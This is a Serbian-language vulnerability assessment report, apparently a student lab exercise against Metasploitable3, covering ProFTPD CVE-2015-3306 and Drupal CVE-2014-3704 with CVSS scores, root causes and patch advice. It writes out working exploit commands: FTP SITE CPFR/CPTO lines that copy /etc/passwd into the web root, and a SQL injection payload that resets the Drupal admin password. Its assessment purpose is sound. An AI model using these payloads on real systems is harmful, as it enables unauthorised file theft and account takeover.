Vulnerability Assessment Report Template

Ime i prezime: Marija Andrić
Tim: Kragujevac
Datum: 11.11.2025.godine
Scan Tool: Greenbone OS 24.10.6
Test okruženje: Metasploitable3

CVE-2015-3306

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3306

- **Opis:**
  Ova ranjivost omogućava napadačima proizvoljno kreiranje i preuzimanje datoteka na serveru korišćenjem modula mod_copy u ProFTPD serveru. Ranjivost postoji u verziji ProFTPD 1.3.5 i omogućava neautorizovani pristup komandama SITE CPFR i SITE CPTO.

    - Servis: ProFTPD
    - Port: 21 (TCP)
    - Protokol: FTP

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.1** (Critical)
- **Vektor:**
  AV:N - Mrežni vektor napada
  AC:L - Nizak nivo složenosti napada
  PR:N - Nije potrebna autentifikacija
  UI:N - Ne zahteva interakciju korisnika
  S:U - Utiče samo na ugroženi sistem
  C:H - Visok uticaj na poverljivost
  I:H - Veliki uticaj na integritet
  A:N - Nema uticaj na dostupnost

- **Opravdanje:**
  Visok skor je dodeljen jer ranjivost omogućava neautorizovan pristup datotekama bez ikakvih privilegija. Eksploatacija je jednostavna, a značajno utiče na poverljivost jer napadač može čitati i preuzimati bilo koju datoteku na sistemu.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da

- **Opis eksploita:**
  Eksploit koristi FTP komande SITE CPFR i SITE CPTO za kopiranje datoteka sa bilo koje lokacije na serveru u direktorijum dostupan za preuzimanje. Napadač može kopirati /etc/passwd ili druge osetljive datoteke i preuzeti ih preko FTP-a.

- **Kod eksploita (ukoliko postoji):**
  telnet <IP> 21
  SITE CPFR /etc/passwd
  SITE CPTO /var/www/html/naziv-file

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjivost je uvedena u ProFTPD verziji1.3.5 zbog neadekvatne provere autorizacije u modulu mod_copy. Omogućena je neautorizovana upotreba komandi za kopiranje datoteka. U izvornom kodu mod_copy.c nedostaje provera prava pristupa za komande CPFR i CPTO.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**
  Ažuriranje ProFTPD verzije.

- **Alternativni fix (ukoliko ne postoji vendorski):**
  -

CVE-2014-3704

1. Enumeracija CVE-a

- **CVE ID:** CVE-2014-3704

- **Opis:**
  Rana verzija Drupal sadržaja (7.x pre 7.32) sadrži ranjivost u SQL bazi podataka omogućenu kroz Drupal's database abstraction API. Rana verzija ne validira pravilno ulazne parametre što omogućava napadaču da izvrši proizvoljne SQL upite putem specijalno kreiranih zahteva.

    - Servis: Drupal CMS
    - Port: 80 ili 443
    - Protokol: HTTP/HTTPS

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.8** (Critical)
- **Vektor:**
  AV:N - Mrežni vektor napada
  AC:L - Nizak nivo složenosti napada
  PR:N - Nije potrebna autentifikacija
  UI:N - Ne zahteva interakciju korisnika
  S:U - Utiče samo na ugroženi sistem
  C:P - Delimični uticaj na poverljivost
  I:P - Delimični gubitak integriteta
  A:P - Delimični gubitak dostupnosti
- **Opravdanje:**
  CVSS skor je visok zbog lake eksploatabilnosti (nije potrebna autentifikacija, imamo niska kompleksnost). Ranjivost omogućava napadaču da izvrši proizvoljne SQL upite što može dovesti do potpunog kompromitovanja sistema, krađe podataka, promene sadržaja ili onemogućavanja servisa.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da

- **Opis eksploita:**
  Eksploit koristi SQL Injection ranjivost u Drupal 7.x putem parametara u zahtevima ka bazi podataka. Napadač može izvršiti proizvoljne SQL komande, što može dovesti do:

    - Izvršavanja komandi na serveru
    - Krađe baze podataka (korisnici, sadržaj, konfiguracija)
    - Postavljanja backdoor-a
    - Preuzimanja kontrole nad serverom

- **Kod eksploita (ukoliko postoji):**
  Kreiramo POST zahtev ka http://target?q=node&destination=nodeovom URL sa payloadom $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('SCTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in". Ovo je SQL injection za resetovanje šifre.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Rana verzija Drupal 7.x (pre 7.32) nije primenjivala odgovarajuću validaciju parametara u funkcijama za upite ka bazi. Ranjivost je bila prisutna u modulima koji koriste db_query() ili slične funkcije bez parametarskog bindovanja.

- **Primer koda (ako je primenljivo):**
  -foreach ($data as $i => $value) { ...
  Problem je bio u expandArguments metodi i u tome što se ključevi iz niza korisnika direktno ubacuju u SQL upit. To je napadaču omogućilo da ubaci svoj SQL kod u naziv placeholder-a čime dobija kompletnu kontrolu nad izvršenjem SQL upita.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**
  Primeniti Drupal bezbednosni patch za verziju 7.32 ili noviju.

- **Alternativni fix (ukoliko ne postoji vendorski):**
  -